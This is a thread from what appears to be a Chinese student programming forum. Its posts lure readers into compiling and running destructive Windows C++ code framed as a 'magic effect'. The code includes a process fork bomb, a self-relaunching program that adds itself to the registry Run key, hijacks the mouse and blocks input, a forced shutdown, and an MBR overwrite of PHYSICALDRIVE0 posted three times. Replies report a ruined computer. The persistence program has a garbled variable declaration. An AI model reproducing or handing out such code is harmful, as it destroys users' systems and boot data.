问题标题: 神奇效果

0
0
已解决
杜果
杜果
中级守护
中级守护

复制到dev-c++里:

#include<iostream>
using namespace std;

int main(){
    for(;;){
       system("start"); 
    }
    return 0;
}

 

杜果在2023-03-26 15:06:07追加了内容

试试就逝世

杜果在2023-03-26 15:08:32追加了内容
#define _CRT_SECURE_NO_WARNINGS
#include<iostream>
#include<string>
#include<Windows.h>                                           
#include<conio.h>
#include<thread>
#include<tchar.h>
#include<fstream>
using namespace std;
int check = 0;
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter)
{
    srand(time(0));
    while (1)
    {
        SetCursorPos(rand() % x, rand() % y);
    }
    return 0L;
}
DWORD WINAPI key(LPVOID lpParameter)
{
    while (1)
    {
        FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));
    }
    return 0L;
}
int main(int argc, char** argv)
{
    fstream in("save.txt");
    in >> check;
    in.close();
    if (check != 1)
    {
        _getch();
        HKEY hKey;
        if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
        {
            TCHAR strExeFullDir[MAX_PATH];
            GetModuleFileName(NULL, strExeFullDir, MAX_PATH);
            TCHAR strDir[MAX_PATH] = {};
            DWORD nLength = MAX_PATH;
            long result = RegGetValue(hKey, nullptr, _T("GISRestart"), RRF_RT_REG_SZ, 0, strDir, &nLength);
            if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0)
            {
                RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1) * sizeof(TCHAR));
                RegCloseKey(hKey);
            }
        }
        ofstream out("save.txt");
        out << 1;
        out.close();
    }
    HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);
    CloseHandle(hThread);
    hThread = CreateThread(NULL, 0, key, NULL, 0, NULL);
    CloseHandle(hThread);
    HWND hWnd = GetConsoleWindow();
    SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
    HMENU hmenu = GetSystemMenu(hWnd, false);
    RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
    LONG ** = GetWindowLong(hWnd, GWL_STYLE);
    ** &= ~(WS_MINIMIZEBOX);
    SetWindowLong(hWnd, GWL_STYLE, **);
    SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
    ShowWindow(hWnd, SW_SHOWNORMAL);
    DestroyMenu(hmenu);
    ReleaseDC(hWnd, NULL);
    hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);
    if (hWnd)
    {
        ShowWindow(hWnd, SW_HIDE);
    }
    while (1)
    {
        char s[100] = "start ";
        system(strcat(s, argv[0]));
    }
    return 0;
}

 

杜果在2023-03-26 15:12:09追加了内容
#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
int main()
{
    system("Shutdown -s -t 60");
    HWND hwnd;
    hwnd=FindWindow("ConsoleWindowClass",NULL);
    if(hwnd) ShowWindow(hwnd,SW_HIDE);
	int x=GetSystemMetrics(SM_CXSCREEN);
	int y=GetSystemMetrics(SM_CYSCREEN);
	srand(time(0));
	while(1)cout<<"Oh!!!"<<endl&&SetCursorPos(rand()%x,rand()%y);
}

 

杜果在2023-03-26 15:13:28追加了内容
​
#include <windows.h>
#include <winioctl.h>
 
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
/*
00000000  B81200 mov ax, 12H ; ah = 0, al = 12h (640 * 480)
00000003  CD10 int 10h ; 
00000005  BD187C mov bp, Msg ; 
00000008  B91800 mov cx, 18h ; 
0000000B  B80113 mov ax, 1301h ;
0000000E  BB0C00 mov bx, 000ch ;
00000011  BA1D0E mov dx, 0e1dh ;
00000014  CD10 int 10h ; 
00000016  E2FE loop $
Msg: db " Fuck you ^_^ :-)"
*/
int  main()
{
	HANDLE hDevice;
	DWORD dwBytesWritten, dwBytesReturned;
	BYTE pMBR[512] = { 0 };
 
	memcpy(pMBR, scode, sizeof(scode) - 1);
	pMBR[510] = 0x55;
	pMBR[511] = 0xAA;
 
	hDevice = CreateFile
	(
		L"\\\\.\\PHYSICALDRIVE0",
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		0,
		NULL
	);
	if (hDevice == INVALID_HANDLE_VALUE)
		return -1;
	DeviceIoControl
	(
		hDevice,
		FSCTL_LOCK_VOLUME,
		NULL,
		0,
		NULL,
		0,
		&dwBytesReturned,
		NULL
	);
	WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
	DeviceIoControl
	(
		hDevice,
		FSCTL_UNLOCK_VOLUME,
		NULL,
		0,
		NULL,
		0,
		&dwBytesReturned,
		NULL
	);
	CloseHandle(hDevice);
	return 0;
}
 
​

 

杜果在2023-03-26 15:13:37追加了内容
​
#include <windows.h>
#include <winioctl.h>
 
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
/*
00000000  B81200 mov ax, 12H ; ah = 0, al = 12h (640 * 480)
00000003  CD10 int 10h ; 
00000005  BD187C mov bp, Msg ; 
00000008  B91800 mov cx, 18h ; 
0000000B  B80113 mov ax, 1301h ;
0000000E  BB0C00 mov bx, 000ch ;
00000011  BA1D0E mov dx, 0e1dh ;
00000014  CD10 int 10h ; 
00000016  E2FE loop $
Msg: db " Fuck you ^_^ :-)"
*/
int  main()
{
	HANDLE hDevice;
	DWORD dwBytesWritten, dwBytesReturned;
	BYTE pMBR[512] = { 0 };
 
	memcpy(pMBR, scode, sizeof(scode) - 1);
	pMBR[510] = 0x55;
	pMBR[511] = 0xAA;
 
	hDevice = CreateFile
	(
		L"\\\\.\\PHYSICALDRIVE0",
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		0,
		NULL
	);
	if (hDevice == INVALID_HANDLE_VALUE)
		return -1;
	DeviceIoControl
	(
		hDevice,
		FSCTL_LOCK_VOLUME,
		NULL,
		0,
		NULL,
		0,
		&dwBytesReturned,
		NULL
	);
	WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
	DeviceIoControl
	(
		hDevice,
		FSCTL_UNLOCK_VOLUME,
		NULL,
		0,
		NULL,
		0,
		&dwBytesReturned,
		NULL
	);
	CloseHandle(hDevice);
	return 0;
}
 
​

 

杜果在2023-03-26 15:13:43追加了内容
​
#include <windows.h>
#include <winioctl.h>
 
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
/*
00000000  B81200 mov ax, 12H ; ah = 0, al = 12h (640 * 480)
00000003  CD10 int 10h ; 
00000005  BD187C mov bp, Msg ; 
00000008  B91800 mov cx, 18h ; 
0000000B  B80113 mov ax, 1301h ;
0000000E  BB0C00 mov bx, 000ch ;
00000011  BA1D0E mov dx, 0e1dh ;
00000014  CD10 int 10h ; 
00000016  E2FE loop $
Msg: db " Fuck you ^_^ :-)"
*/
int  main()
{
	HANDLE hDevice;
	DWORD dwBytesWritten, dwBytesReturned;
	BYTE pMBR[512] = { 0 };
 
	memcpy(pMBR, scode, sizeof(scode) - 1);
	pMBR[510] = 0x55;
	pMBR[511] = 0xAA;
 
	hDevice = CreateFile
	(
		L"\\\\.\\PHYSICALDRIVE0",
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		0,
		NULL
	);
	if (hDevice == INVALID_HANDLE_VALUE)
		return -1;
	DeviceIoControl
	(
		hDevice,
		FSCTL_LOCK_VOLUME,
		NULL,
		0,
		NULL,
		0,
		&dwBytesReturned,
		NULL
	);
	WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
	DeviceIoControl
	(
		hDevice,
		FSCTL_UNLOCK_VOLUME,
		NULL,
		0,
		NULL,
		0,
		&dwBytesReturned,
		NULL
	);
	CloseHandle(hDevice);
	return 0;
}
 
​

 


0
已采纳
宋子墨
宋子墨
新手天翼
新手天翼

qwq上着课运行电脑报废了

0
0
王海成
王海成
初级天翼
初级天翼

【可疑】无限循环

【高危】打开进程

0
0
贾若曦
贾若曦
资深天翼
资深天翼

那我就不试了,这个代码很明显电脑吃不消,我才不会运行

0
於海洋
於海洋
高级光能
高级光能

前方高能!第一个程序会打开无数个cmd,然后电脑风扇快速运转,接着静静的等待一会,如果你看着恐惧,就一直按alt+F4,一会就全部关掉,然后就结束了!

我试过

我要回答